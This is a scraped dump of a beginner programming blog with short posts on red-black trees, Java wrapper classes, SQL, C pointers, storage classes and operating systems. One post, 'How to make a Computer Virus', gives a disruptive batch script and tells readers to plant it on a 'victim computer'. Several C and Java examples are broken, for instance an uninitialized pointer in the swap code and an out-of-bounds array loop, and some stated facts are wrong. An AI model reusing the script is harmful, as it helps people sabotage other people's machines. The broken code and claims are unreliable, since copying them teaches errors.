Lang-Adda

Insertion In Red Black Tree

2013-11-21T06:45:00.003-08:00

Insertion In Red Black Tree:
There are three Cases for inserting a node in Red Black Tree.1.Find the correct leaf to insert new node instead of it
2.Color node in red, and attach 2 black leafs to it
3.Make sure RB-tree properties hold

Insertion in red-black tree

Case 1: a’s uncle (d) is red:
1.Color a’s father (b) and uncle (d) black
2.Color a’s father (c) red

Insertion in red-black tree

Case 2: a’s uncle is black, a is a right child
1. Rotate left around a’s father (b)
2.Continue to case 3

Case 3: a’s uncle is black, a is a left child:
1. Rotate right around a’s grandfather (c)
2. Switch colors between a’s father (b)
and a’s (new) sibling (c)

Insertion in red-black tree

Red Black Tree

2013-11-21T00:49:00.000-08:00

Red-black tree is a Binary search tree that has each node is colored either red or black.
Properties of red black tree:
1. This is the same as for binary search trees: all the keys
to left of a node are smaller, and a to the right of a node are
larger than the node key
2.The number of black nodes on every path from the root
to each leaf is the same. This is called as the black height of the tree.
3. No two consecutive nodes are red.

Red Black Tree

Red Black tree ensure that the longest path from the root to a leaf is at most twice as long as the shortest path. Since insertion and searching in a binary search tree have time proportional to the length of
the path from the root to the leaf, this is sure that O(log(n)) times for these
operations, even if the red black tree is not perfectly balanced.

Wrapper class

2013-08-27T08:17:00.002-07:00

Wrapper class

Wrapper class were a solution of the primitive data type not being a part of object oriented approach of java….like being returned from a method as a method.

Java allows you to include the primitives in the family of objects by using what are called wrapper classes

There is a wrapper class for every primitive in java.. the wrapper class for int is Integer, for float is Float.

The wrapper classes in the Java API serve two primary purposes:

To provide a mechanism to “wrap” primitive values in an object so that the primitives can be included in activities reserved for objects, like as being added to Collections, or returned from a method with an object return value.
To provide an assortment of utility functions for primitives. Most of these functions are related to various conversions: converting primitives to and from String objects, and converting primitives and String objects to and from different bases (or radix), such as binary, octal, and hexadecimal.

The wrapper object of a wrapper class can be created in one of two ways: by instantiating the wrapper class with the new operator or by invoking a static method on the wrapper class.

Creating wrapper object with new operator

Primitive datatype-->Wrapper Class-->Constructor arguments

boolean--> Boolean--> boolean or String
byte--> Byte--> byte or String
char--> Character--> char
short--> Short--> short or String
int-->Integer--> int or String
long--> Long--> long or String
float-->Float--> float double or String
double-->Double--> double or String

All the wrapper classesare declared final. That means you cannot derive a subclass from any of them.All the wrapper classes except Boolean and Character are subclasses of an abstract class called Number, whereas Boolean and Character are derived directly from the Object class.All of the wrapper classes except Character provide two constructors: one that takes a primitive of the type being constructed, and one that takes a String representation of the type being constructed.

Boolean wboo = new Boolean("false");

Boolean yboo=new Boolean(false);

Character c1 = new Character('c');

Note that there is no way to modify a wrapped value—that is, the wrapped values are immutable. To wrap another value, you need to create another object.

WRAPPING PRIMITIVES USING A STATIC METHOD

All wrapper classes offers static valueOf() methods which give you another approach to creating wrapper objects. Because it's a static method, it can be invoked directly on the class (without instantiating it), and will return the corresponding object that is wrapping what you passed in as an argument.

this method take a String representation of the appropriate type of primitive as its first argument, it also takes an additional argument, int radix, which indicates in what base (for example binary, octal, or hexadecimal) the first argument is represented

Integer i2 = Integer.valueOf("101011", 2);  // converts 101011 to 43 and assigns the

                                           // value 43 to the Integer object i2

USING WRAPPER CONVERSION UTILITIES

xxxValue() method

When you need to convert the value of a wrapped numeric to a primitive, use one of the many xxxValue() methods. All of the methods in this family are no-arg methods. Each of the six numeric wrapper classes has six methods, so that any numeric wrapper can be converted to any primitive numeric type.

Integer i2 = new Integer(42);  //  make a new wrapper object

byte b = i2.byteValue();         //  convert i2's value to a byte primitive

short s = i2.shortValue();      //  another of Integer's xxxValue methods

double d = i2.doubleValue(); //  yet another of Integer's xxxValue methods

xxx Parsexxx(String) method

If you do not need to store a value in a wrapper but just want to convert the type , you can do it by using an appropriate static method of the appropriate wrapper class. For example, all the wrapper classes except Character offer a static method that has the following signature:

static <type> parse<Type>(String s)

The <type> may be any of the primitive types except char (byte, short, int, long, float, double, or boolean), and the <Type> is the same as <type> with the first letter uppercased;

String s = "123";

int i = Integer.parseInt(s);

parseXxx() and valueOf()

· parseXxx() returns the named primitive.

· valueOf() returns a newly created wrapped object of the type that invoked the method.

double d4 = Double.parseDouble("3.14");     // convert a String to a primitive

System.out.println("d4 = " + d4);               // result is  "d4 = 3.14"

Double d5 = Double.valueOf("3.14");         // create a Double object

System.out.println(d5 instanceof Double ); // result is "true"

toString() method

All of the wrapper classes have a no-arg, nonstatic, instance version of toString(). This method returns a String with the value of the primitive wrapped in the object—

Double d = new Double("3.14");

System.out.println("d = " + d.toString() );    //  result is "d = 3.14"

All of the numeric wrapper classes provide an overloaded, static toString() method that takes a primitive numeric of the appropriate type (Double.toString() takes a double), and, of course, returns a String with that primitive’s value.

System.out.println("d = " + Double.toString(3.14);    // result is "d = 3.14"

Integer and Long provide a third toString() method. It is static, its first argument is the appropriate primitive, and its second argument is a radix. The radix argument tells the method to take the first argument (which is radix 10 or base 10 by default), and convert it to the radix provided, then return the result as a String

System.out.println("hex = " + Long.toString(254,16); // result is "hex = fe"

toXxxString() method(Binary, Hexadecimal, Octal)

The Integer and Long wrapper classes let you convert numbers in base 10 to other bases. These conversion methods, toXxxString(), take an int or long, and return a String representation of the converted number,

String s3 = Integer.toHexString(254);       // convert 254 to hex

System.out.println("254 in hex = " + s3);   // result is "254 in hex = fe"

String s4 = Long.toOctalString(254);        // convert 254 to octal

System.out.println("254 in octal = "+ s4);  // result is "254 in octal = 376"

Quick review

Java uses primitive types, such as int, char, double to hold the basic data types supported by the language.
Sometimes it is required to create an object representation of these primitive types.
These are collection classes that deal only with such objects. One needs to wrap the primitive type in a class.
To satisfy this need, java provides classes that correspond to each of the primitive types. Basically, these classes encapsulate, or wrap, the primitive types within a class.
Thus, they are commonly referred to as type wrapper. Type wrapper are classes that encapsulate a primitive type within an object.
The wrapper types are Byte, Short, Integer, Long, Character, Boolean, Double, Float.

These classes offer a wide array of methods that allow to fully integrate the primitive types into Java’s object hierarchy.

Wrapper classes for converting simple types

Simple Type	Wrapper class
boolean	Boolean
char	Character
double	Double
float	Float
int	Integer
long	Long

Converting primitive numbers to Object numbers using constructor methods

Constructor calling	Conversion Action
Integer IntVal = new Integer(i);	Primitive integer to Integer object
Float FloatVal = new Float(f);	Primitive float to Float object
Double DoubleVal = new Double(d);	Primitive double to Double object
Long LongVal = new Long(l);	Primitive long to Long object

NOTE : I, f, d and l are primitive data values denoting int, float, double and long data types. They may be constants or variables.

Converting Object numbers to Primitive numbers using typeValue() method

Method calling	Conversion Action
int i = IntVal.intValue();	Object to primitive integer
float f = FloatVal.floatValue();	Object to primitive float
double d = DoubleVal.doubleValue();	Object to primitive double
long l = LongVal.longValue();	Object to primitive long

Converting Numbers to Strings using toString() method

Method calling	Conversion Action
str = Integer.toString(i);	Primitive integer i to String str
str = Float.toString(f);	Primitive float f to String str
str = Double.toString(d);	Primitive double d to String str
str = Long.toString(l);	Primitive long l to String str

Converting String Object in to Numeric Object using static method ValueOf()

Method calling	Conversion Action
IntVal = Integer.ValueOf(str);	Convert String into Integer object
FloatVal = Float.ValueOf(str);	Convert String into Float object
DoubleVal = Double.ValueOf(str);	Convert String into Double object
LongVal = Long.ValueOf(str);	Convert String into Long object

Converting Numeric Strings to Primitive numbers using Parsing method

Method calling	Conversion Action
int i = Integer.parseInt(str);	Converts String str into primitive integer i
long l = Long.parseLong(str);	Converts String str into primitive long l

NOTE : parseInt() and parseLong() methods throw a Number Format Exception if the value of the str does not represent an integer.

Class in JAVA

2013-08-27T07:47:00.002-07:00

BASIC
All the objects that have similar properties and similar behavior are grouped together to form a class. Class is the java way to implement encapsulation.A class is a user defined data type and objects are the instance variables of class.

GENERAL FORM OF CLASS

A class is declared by use of the class keyword.The data, or variables, defined within a class are called instance variables because each instance
of the class (that is, each object of the class) contains its own copy of these variables.

class class name {

type instance variable;

type method name(parameter-list) {

//body of method

}

to access the instance variables and methods declared within a class and assign values to instance variable we need to create object of class using dot (.) operator.

object of class is created as classname obj =new classname();

class area(){

double length;

double width;

}

class calculatearea()

{

public static void main(String args[])

{

area obj=new area();

double area;

obj.length=9;

obj.breath=4;

area=obj.length*obj.breath;

System.out.printllln(“area is”+area);

}

concept of object

object of a class is created by new operator.

The new operator dynamically allocates (that is, allocates at run time) memory for an object and returns a reference to it. This

reference is, more or less, the address in memory of the object allocated by new.This reference is then stored in the variable.

A Brief History and Overview of SQL

2013-08-27T07:31:00.001-07:00

SQL began life as SEQUEL, the Structured English Query Language, a component of an IBM research project called System/R. System/R was a prototype of the first relational database system; it was created at IBM’s San Jose laboratories in 1974, and SEQUEL was the first query language to support multiple tables and multiple users.

As a language, SQL was designed to be “human-friendly”; most of its commands resemble spoken English, making it easy to read, understand, and learn. Commands are formulated as statements, and every statement begins with an “action word.” The following examples demonstrate this:

CREATE DATABASE toys;

USE toys;

SELECT id FROM toys WHERE targetAge > 3;

DELETE FROM catalog WHERE productionStatus = "Revoked";

As you can see, it’s pretty easy to understand what each statement does. This simplicity is one of the reasons SQL is so popular, and also so easy to learn.

SQL statements can be divided into three broad categories, each concerned with a different aspect of database management:

Statements used to define the structure of the Database : These statements define the relationships among different pieces of data, definitions for database, table and column types, and database indices. In the SQL specification, this component is referred to as Data Definition Language (DDL).
Statements used to manipulate Data : These statements control adding and removing records, querying and joining tables, and verifying data integrity. In the SQL specification, this component is referred to as Data Manipulation Language (DML).
Statements used to control the permissions and access level to different pieces of Data : These statements define the access levels and security privileges for databases, tables and fields, which may be specified on a per-user and/or per-host basis. In the SQL specification, this component is referred to as Data Control Language (DCL).

Typically, every SQL statement ends in a semicolon, and white space, tabs, and carriage returns are ignored by the SQL processor. The following two statements are equivalent, even though the first is on a single line and the second is split over

multiple lines.

DELETE FROM catalog WHERE production Status = "Revoked";

DELETE FROM

catalog

WHERE productionStatus =

"Revoked";

History of JAVA

2013-08-27T07:11:00.000-07:00

Java is a general-purpose, concurrent, class-based, object-oriented computer programming language that is specifically designed to have as few implementation dependencies as
possible.

Java code that can run on one platform does not need to be recompiled to run on another.

Java applications are typically compiled to byte code (class file) that can run on any Java virtual machine (JVM) regardless of computer architecture.

James Gosling, Mike Sheridan, and Patrick
Naughton initiated the Java language project
in June 1991. Java was originally designed for interactive television, but it was too advanced for the digital cable television industry at the time. The language was initially called Oak after an oak tree that stood outside Gosling's office. It went by the name Green later, and was later renamed Java, from Java coffee, said to be consumed in large quantities by the language's creators. Gosling aimed to implement a virtual machine and a language that had a familiar C/C++ style of notation.

Sun Microsystems released the first public implementation as Java 1.0 in 1995. It promised "Write Once, Run Anywhere" (WORA), providing no-cost run-times on popular platforms.

Major web browsers soon incorporated the ability to run Java applets within web pages, and Java quickly became popular.

In 1997, Sun Microsystems approached the ISO/IEC JTC1 standards body and later the Ecma International to formalize Java, but it soon withdrew from the process.

On November 13, 2006, Sun released much of Java as free and open source software, (FOSS), under the terms of the GNU General Public License (GPL). On May 8, 2007, Sun finished the process, making all of Java's core code available under free software/open-source distribution terms, aside from a small portion of code to which Sun did not hold the copyright.

Sun's vice-president Rich Green said that Sun's ideal role with regards to Java was as an"evangelist."

Following Oracle Corporation's acquisition of Sun Microsystems in 2009–2010, Oracle has described itself as the "steward of Java technology with a relentless commitment to fostering a community of participation and transparency".

This did not hold Oracle, however, from filing a lawsuit against Google shortly after that for using Java inside the Android SDK.

Java software runs on laptops to data centers,game consoles to scientific supercomputers. There are 930 million Java Runtime Environment downloads each year and 3 billion mobile phones run Java.

On April 2, 2010, James Gosling resigned from Oracle.
Oracle Corporation is the current owner of the official implementation of the Java SE platform, following their acquisition of Sun Micro systems on January 27, 2010.

This implementation is based on the original implementation of Java by Sun. The Oracle implementation is available for Mac OS X, Windows and Solaris

Major release versions of Java, along with their release dates:

JDK 1.0 (January 21, 1996)
JDK 1.1 (February 19, 1997)
J2SE 1.2 (December 8, 1998)
J2SE 1.3 (May 8, 2000)
J2SE 1.4 (February 6, 2002)
J2SE 5.0 (September 30, 2004)
Java SE 6 (December 11, 2006)
Java SE 7 (July 28, 2011)

What is kernel and shell?

2013-08-26T20:00:00.004-07:00

Both the shell and the kernel are the Parts of a operating system. These Both Parts are responsible for performing any operation on the system. When a user gives his Command for Performing Any Operation, then the Request Will goes to the Shell Parts, The Shell Parts is also called as the Interpreter which translate the Human Program into the Machine Language and then the Request will be transferred to the Kernel. So that Shell is just called as the interpreter of the commands which converts the request of the user into the machine language.

Kernel:-

Kernel is also called as the heart of the operating system and the every operation is
performed by using the kernel,when the kernel receives the request from the shell then it process request and display the result on the screen.the various types of operations performed by the kernelare as follow:-

1) It control the state process means it checks whether the process is running or process is waiting for the request of the user.

2) Provides the memory for the process those are running on the system means kernel runs the allocation and de_allocation process .First when we request for the service then the kernel will provides the memory to the process and after that he also release the memory which is given to a process.

3) The kernel also maintains a time table for all the processes those are running means the kernel also prepare the schedule time means this will provide the time to various process of the CPU and the kernel also puts the waiting and suspended jobs in to the different memory area.

4) When a kernel determines that the logical memory doesn’t fit to store the programs then he uses the concept of the physical memory which will stores the programs into temporary manner,means the physical memory of the system can be used as temporary memory.

5) Kernel also maintains all the maintains all the files those are stored into the computer system and the kernel also stores all the files into the system as no one can read or write the files without any permission,so that the kernel system also provides us the facility to use the passwords and also all the files are stored into the particular manner.

As we have learned there are many programs or functions those are performed by the kernelbut the functions those are performed by the kernel will never be shown to the user,and the functions of the kernel are transparent to the user.

What is Operating System?

2013-08-26T19:55:00.002-07:00

Operating System

We all know that there are many hardware’s and software’s which are attached to a system. So for performing any operations both software and hardware are compulsory. So For exchanging information between software and hardware operating system is used. Operating system is that which communicate with software and hardware. The software is the non-touchable part of the system, and software’s are just used for making an application but hardware’s are used for performing an operation . For example if we want to perform a activity of playing a song then media player is an software and using mouse is an hardware , but how the system knows what to do when mouse moves on the screen and when the mouse select a song on the system so that operating system is necessary which interact between or which communicates with the hardware and the software. For better understanding you can see the working of the operating system.

so we can say that the operating system have the following characteristics :-

1) Operating System is a Collection of Programs which provides platform for Execution of other Programs.

2) Operating System Controls all the Input and Output Devices those are connected to the System.

3) Operating System is the platform on which we Run all the Application Software’s.

4) Operating System Provides Scheduling to the Various Processes Means Allocates the Memory to various Process those Wants to Execute.

5) Operating System provides medium to exchange information between the user and the System.

6) Operating System is Stored into the Basic Input and Output System means when a user Starts his System then this will Read all the instructions those are Necessary for Executing the System Means for Running the Operating System, Operating System Must be Loaded into the computer For this, we will use the Floppy or Hard Disks Which Stores the Operating System.

JAVA : Collections

2013-08-26T19:47:00.001-07:00

Collections And Framework

Collections

A Collection is a group of objects .The collection framework defines several interfaces of which the collection interfaces of which the collection interfaces is the foundation upon which the collection framework is built .The collection interface declares the core method that a collection will have.
collection provides java developers a set of classes and interfaces that makes it easier to handle a collection of objects,in this way it works a bit like array but their size can be change dynamically and it has more advanced behavior than array.

Framework

Framework are repeatable ways of solving problem. Framework are a prescriptive set of buildings blocks and services .The developers can use to achieve some goal.Basically , a frame work provides the infrastructure to solve a type of a problem .A Framework is not the solution to a problem ,it is simply the tool with which we struct a solution .

Collection Interfaces

Collection:-
Enables you to work with group of object ,it is at the top of the collections hierarchy.

List:-
Extends collection to handle sequences (list of objects ).

Set:-
Extends collection to handle sets ,which must contain unique elements .

Sorted set:-

Extends set to handle sorted set.

Collection Interface Methods

Boolean Add All (collection c):-
Adds all the elements of c to the invoking collection return true if the operation succeeded otherwise return false.

Boolean Add (object obj.):-
Adds obj. to the invoking collection return true if obj was added to collection otherwise return false.

Void clear ():-
Remove all elements from the invoking collection

Boolean contains(object obj):-
Return true if obj is an element of the invoking collection.

Boolean is empty():-
Returns true if the invoking collection is empty.

Boolean remove(object obj):-
Remove are instance of obj. from the invoking collection.

Collection Classes

Abstract Collection:-
Implements most of   the collection interfaces .

Abstract List:-
Extends Abstract collection & implements most of   the list intefaces'

Abstract Sequential List:-
Extends abstract list.

Linked List:-
Implements a linked list by extending abstract sequential list. It is Designed to give better performance when you insert or delete elements from the middle of the collection.

Array List:-
Implements a dynamic array by extending abstract list.

Abstract Set:-
Extends   abstract coolection& implements most of the set interface.

Hash Set:-
Extends abstract set   for use with a hash table.It prevents duplictes in the collection and it can find a given element quickly in a collection..

Linked Hash Set:-
Extends hash set to allow insertions.

Tree Set:-
Implements a set stored in a free explicits and prevents the duplicates.

What are the different storage classes in C ?

2013-08-24T21:11:00.000-07:00

A storage class defines the scope and life time of variables.
There are four storage classes:

Auto Storage class
Register Storage class
Static Storage class
Extern Storage class

1.auto - Storage Class
auto storage class is the default for local variables.
example :
{
int a;
auto int M;
}
The example above defines two variables with the same storage class. Auto Storage class only be used within the functions, i.e. local variables.

2.register - Storage Class
register Storage Class is used to define local variables and to stored in a register instead of RAM.
{
register int Miles;
}
Register must be used for variables that need quick access - such as counters.

3.static - Storage Class
static storage class is the default for global variables.

static int Count;
int Road;

{
printf("%d\n", Road);
}
static variables are 'visible' to all functions in this source file.
The variable with static storage class will retain its value during various call.

void func(void);

static count=10; /* Global variable - static storage class*/

main()
{
while (count--)
{
func();
}

}

void func( void )
{
static i = 5;
i++;
printf("i is %d and count is %d\n", i, count);
}

This will produce following result

i is 6 and count is 9
i is 7 and count is 8
i is 8 and count is 7
i is 9 and count is 6
i is 10 and count is 5
i is 11 and count is 4
i is 12 and count is 3
i is 13 and count is 2
i is 14 and count is 1
i is 15 and count is 0

4.extern - Storage Class
extern storage class is used to give a reference of a global variable.
'extern' variable cannot be initialized.

What is the difference between String and Character Array?

2013-08-24T12:19:00.000-07:00

String have static storage duration, While character array not, unless it is specified by using the static keyword.
Moreover a string is a character array having properties:

the sequence of character, generally call string, is an array .This array contain all characters plus a NULL character.
we cant modify it.
two string having same value may share same memory .

DECLARATION:

char a[ ] = "Kumar and Bucky”; Character Array

char *s = “Calvin and Hobbes”; String

What is difference between Call by value and Call by reference?

2013-08-23T19:58:00.001-07:00

There are two different methods for passing a variable in function as a parameter:

1.Call by value: we pass copy of actual variables in function as a parameter. Any changes on parameters inside the function will not effect the actual variable.

#include<stdio.h>

void main(){

int a=5,b=10;

change(a,b);

printf("%d %d",a,b);

}

void change(int a,int b){

a=a+b;
b=a-b;
a=a-b;

}

Output: 5 10

2.Call by reference: we pass memory address of actual variables in function as a parameter. Hence if we make any changes on parameters inside the function will effect the actual variable.

#include<stdio.h>

int main(){

int a=5,b=10;

change(&a,&b);

printf("%d %d",a,b);

return 0;

}

void swap(int *a,int *b){

int *temp;

*temp =*a;

*a=*b;

*b=*temp;

}

Output: 10 5

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2013-08-23T19:24:00.000-07:00

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Arrays in c

2013-08-22T09:30:00.001-07:00

An array is derived data type which can store similar type of data in sequence memory location. Data may be primitive type i.e int, char, float, double…

Example of array declaration:

int a[5];

char a[5];

float a[5];

long double a[5];

char * a[5];

int (a[])();

double ** a[5];

Array is useful when:

(a) We have to store large number of data of similar type.:

void main(){

int a=1;

int b=2;

int c=5;

int d=7;

int e=8;

int f=0;

int g=11;

int h=5;

int i=90;

int avg;

avg=(a+b+c+d+e+f+g+h+i)/9;

printf("%d",avg);

}

If we use array then the same program will written as;

void main(){

int a[ ]={1,2,5,7,8,0,11,5,50};

int i,avg;

for(int i=0;i<12;i++){

avg=avg+a[i];

}

printf("%d",avg/9);

}

Advantage of using array:

1. An array provides single name for many variables of same data type.

2. Array is used in data structure like. implementation of stack Queue, Tree etc.

How to print Hello with out using ;(semi-colon)?

2013-08-22T09:11:00.000-07:00

This can be done using following ways:

1.#include<stdio.h>

void main(){

if(printf("Hello world")){

}

2.#include<stdio.h>

void main(){

while(!printf("Hello world")){

}

3.#include<stdio.h>

void main(){

switch(printf("Hello world")){

}

Difference between Declaring a variable , Defining a variable ,Internal static variable and External static variable

2013-08-19T06:57:00.002-07:00

Declaring a variable

Declaring a variable means describing its type (data type) but not allocating any space for it.

Defining a variable:

Defining a variable means declaring it and also allocating space to hold the variable. and it may be initialize at the time it is defined.

1.Internal static variable

An internal static variable is declared inside a block with static storage class.An internal static variable has persistent storage,block scope and no linkage.

2.External static variable

An external static variable is declared outside all the blocks in a file and has permanent storage,file scope and internal linkage.

Difference between Malloc and Calloc

2013-08-18T21:45:00.001-07:00

1. calloc(...) allocates a block of memory for an array of elements of a certain size. By default the block is initialized to Zero. The total number of memory allocated will be (number_of_elements * size).malloc(...) takes in only a single argument which is the memory required in bytes. malloc(...) allocated bytes of memory and not blocks of memory like calloc(...)
2. malloc(...) allocates memory blocks and returns a void pointer to the allocated space, and null if there is insufficient or no memory available. calloc(...) allocates an array in memory with elements initialized to 0 and returns a pointer to the allocated space. malloc(...) can be call by calloc(..) in order to use the C++ _set_new_mode function to set the new handler mode.

Difference between printf("%d") and printf("%d",x)

2013-08-18T21:34:00.000-07:00

1. When we write printf("%d",x); the compiler will print the
value of x. But where there is nothing after %d so compiler will show garbage value.

2. When we use %d the compiler internally uses it to access the
argument in the stack called argument stack. Compiler determines
the offset of the variable depending on the format specification
string. Now when we write printf("%d",x) then compiler first accesses the top most element in the argument stack of the printf which is %d and depending on the format string it calculated to offset to the actual data variable in the memory which is to be printed. Now when only %d will be present in the printf then compiler will calculate the correct offset (which will be the offset to access the integer variable) but as the actual data object is to be printed is not present at that memory location so it will print what ever will be the contents of that memory location.

3. Some compilers check the format string and will generate an error.

Types of Pointer in C

2013-08-17T21:44:00.002-07:00

Pointer is of five types::

1.Wild pointer:

A pointer which has not been initialized is known as wild pointer.

int *ptr;

printf("%d",*ptr);

//Output: Garbage Value

2.Dangling pointer:

If any pointer is pointing the memory address of any variable but after some variable has deleted from that memory location while pointer is still pointing such memory location. that pointer is known as dangling pointer .

int * call(){

int x=25;

++x;

return &x;

}

int *ptr;

ptr=call();

//Output: Garbage Value

3.Near pointer:

The pointer which can points only 64KB data segment and cannot access beyond the data segment .the Size of near pointer is 2 byte.

int near* ptr;

printf(“%d”,sizeof ptr);

//Output: 2

4.Far pointer:

The pointer which can point or access whole memory of RAM. Size of the pointer is 4 byte. We cannot change or modify the segment address of given far address by applying any arithmetic operation on it.

int far *ptr;

printf("%d",sizeof ptr);

//Output: 4

int far nearptr;

printf("%d %d",sizeof(ptr) ,sizeof(*ptr));

//Output: 4 2

Explanation: ptr is far pointer while *ptr is near pointer.

5.Huge pointer:

The pointer which can point or access whole the residence memory of RAM. Size of huge pointer is 4 byte.

Don’t use huge pointer:

Becouse ..This might be dangerous for your computer.

char huge * far *p;

printf("%d %d %d",sizeof(p),sizeof(*p),sizeof(**p));

//Output: 4 4 1

Explanation: p is huge pointer, *p is far pointer and **p is char type data variable.

double near p,far q;

printf("%d %d %d",sizeof(q),sizeof(p),sizeof(*p));

Output: 4 2 8

Explanation: q is far pointer, p is near pointer, *p is double data type constant.

JavaScript Tutorial Pdf download

2013-08-17T11:27:00.000-07:00

JavaScript Tutorial in PDF is available for download

Java Script:

JavaScript is an interpreted computer programming language.
JavaScript's use in applications outside of web pages.
JavaScript is runs on Browser.
JavaScript is used for Data Validation.
JavaScript has now become common in server-side programming.
JavaScript is Prototype based scripting language.
Java Script copied many thing from java .
Java and Javascript are not related at all.
Java Script was developed by Netscape in late 90's
JavaScript is officially managed by Mozilla Foundation

Download a quick Javascript tutorial in PDF format.

features of java Script

JavaScript supports properties getter and setter functions conditional catch clauses
JavaScript adopted iterator protocol from Python
JavaScript adopted shallow generators-coroutines from Python
JavaScript also adopted array comprehensions and generator expressions from Python
JavaScript has proper block scope via the let keyword
JavaScript also supports array and object destructuring (limited form of pattern matching)
Java Script has concise function expressions (function(args) expr)
Java Script also supports ECMAScript for XML (E4X), an extension that adds native XML support to ECMAScript
Java Script support all other programming language.

Download Javascript Tutorial

How to make a Computer Virus

2013-08-17T10:51:00.003-07:00

A batch file is a text file with the file extension .bat, which is interpreted by the command processor, i.e
M.S Dos.

It contain some set of commands which is executed automatically when some one click on the file.. so it very easy to make virus by using batch file..

Now i am going to tell you how to do such stuffs..

How to make a Computer Virus?

Ans:for this you must know some of the basics command like. echo,start ,pause, kill ,call etc

Step1 :- open Notepad

Step2:- copy the following code.

@echo off

start notepad

start www.langadda.blogspot.com

start www.toolsadda.blogsspot.com

start calc

goto :d

Step 3:- save the file with bat extension. name could be anything.

Step 4:- Now copy this bat file and paste it on victim computer.

NOTE:-Don't click the file otherwise this code will hang your PC

You can make it more complex by inserting some more command with in the label.

start command will run the applications mentioned .i.e notepad ,calculater,browser. etc

:d is a label.

goto is used to jump the interpreter over the label.

For any doubt pl z comment...

Google Maps is now most widely app

2013-08-08T10:53:00.004-07:00

Google Maps is now most widely used in worlds according to Global Web Index with the Percentage of 54.Facebook holds second position with 44% followed by You tube and Google+.
Skype is at & position and whats app at 9th.
According to Global Web Index the top ten most accessed apps are follows:
01. Google Maps - 54%
02. Facebook - 44%
03. YouTube -35%
04. Google+ - 30%
05. Weixin /We-chat - 27%
06. Twitter - 22%
07. Skype - 22%
08. Facebook Messenger - 22%
09. Whats-app - 17%
10. Instagram - 11%

Find My Phone for Andriod

2013-08-08T10:43:00.000-07:00

After a long journey for four years finally Google launched an Android equivalent to Apple's ,find my phone app ,which is used to track down missing phone or tabs. The Apple's user using this app since 2009 .
This service will allow you to call your phone and make it ring at maximum volume (even if it is silent) in case it has been misplaced at home and view its location on a map if it was left at a restaurant or somewhere else further . And, if it was stolen, the owner can quickly and securely remote wipe all information on it.

This service is compatible with Android running on Fro yo and above versions.

MS office for Andriod

2013-08-01T10:54:00.000-07:00

Finally Microsoft has decided to launch its Office 365 for Android. The software was out since 31 July and its costs a $100-a-year for subscription and it not to be sold separately. As far now it is only compatible with Android Smartphone that runs on ICS or above, but it is not for Android tablets . Initially, it’s available only in the U.S, though the company decided to expand it to other markets with versions in more than 30 languages.

As per the success of Office 365 for the iPhone's last month, Microsoft make its product compelling on other platforms too.

Installing JAVA AND Setting CLASS PATH

2013-08-01T10:14:00.000-07:00

Installing JAVA AND Setting CLASS PATH

Install jdk 7.4(latest version) or any other lower version.
Set the class path for running the java program..
Left click the my computer option.
Click on the properties.
Click on system properties.
Click on advanced.
Click on environment variable.
Two different sections will be shown from lower section select “path” and click on edit
Open the location where jdk was installed and go inside bin. (“C:\Program Files\Java\jdk1.7.0_04\bin”).
Copy the address and paste it into variable value but be careful not to delete previous entries and put”;”.

Press OK.

After following these steps only you would be able to run a java program written in a simple text editor ,using dos comrade.

There are various other also various user friendly application which serves as a handy tool (net beans) in creating a java program and compiling it and running it without going through above stated points.

But as a beginner users are advised to create the program in notepad or any other text editors and compile them and run them through DOS. It will help in understanding java concept clearly.

Compiling and running a java program after the class path is set will be discussed in next post.....

Lang-Adda

Insertion In Red Black Tree

Red Black Tree

Wrapper class

Class in JAVA

A Brief History and Overview of SQL

History of JAVA

Major release versions of Java, along with their release dates:

What is kernel and shell?

Kernel:-

What is Operating System?

JAVA : Collections

Collections And Framework

Framework

Collection Interfaces

Collection Interface Methods

Collection Classes

What are the different storage classes in C ?

What is the difference between String and Character Array?

What is difference between Call by value and Call by reference?

Top 5 different ways by which user can store online data for free

Arrays in c

How to print Hello with out using ;(semi-colon)?

Difference between Declaring a variable , Defining a variable ,Internal static variable and External static variable

Declaring a variable

Defining a variable:

1.Internal static variable

2.External static variable

Difference between Malloc and Calloc

Difference between printf("%d") and printf("%d",x)

Types of Pointer in C

Pointer is of five types::

1.Wild pointer:

A pointer which has not been initialized is known as wild pointer.

int *ptr;

printf("%d",*ptr);

//Output: Garbage Value

2.Dangling pointer:

If any pointer is pointing the memory address of any variable but after some variable has deleted from that memory location while pointer is still pointing such memory location. that pointer is known as dangling pointer .

int * call(){

int x=25;

++x;

return &x;

}

int *ptr;

ptr=call();

//Output: Garbage Value

3.Near pointer:

The pointer which can points only 64KB data segment and cannot access beyond the data segment .the Size of near pointer is 2 byte.

int near* ptr;

printf(“%d”,sizeof ptr);

//Output: 2

4.Far pointer:

The pointer which can point or access whole memory of RAM. Size of the pointer is 4 byte. We cannot change or modify the segment address of given far address by applying any arithmetic operation on it.

int far *ptr;

printf("%d",sizeof ptr);

//Output: 4

int far *near*ptr;

printf("%d %d",sizeof(ptr) ,sizeof(*ptr));

//Output: 4 2

Explanation: ptr is far pointer while *ptr is near pointer.

5.Huge pointer:

The pointer which can point or access whole the residence memory of RAM. Size of huge pointer is 4 byte.

Don’t use huge pointer:

Becouse ..This might be dangerous for your computer.

char huge * far *p;

printf("%d %d %d",sizeof(p),sizeof(*p),sizeof(**p));

//Output: 4 4 1

Explanation: p is huge pointer, *p is far pointer and **p is char type data variable.

double near *p,far *q;

printf("%d %d %d",sizeof(q),sizeof(p),sizeof(*p));

Output: 4 2 8

Explanation: q is far pointer, p is near pointer, *p is double data type constant.

JavaScript Tutorial Pdf download

JavaScript Tutorial in PDF is available for download

Download Javascript Tutorial

How to make a Computer Virus

Now i am going to tell you how to do such stuffs..

How to make a Computer Virus?

Ans:for this you must know some of the basics command like. echo,start ,pause, kill ,call etc

int far nearptr;

double near p,far q;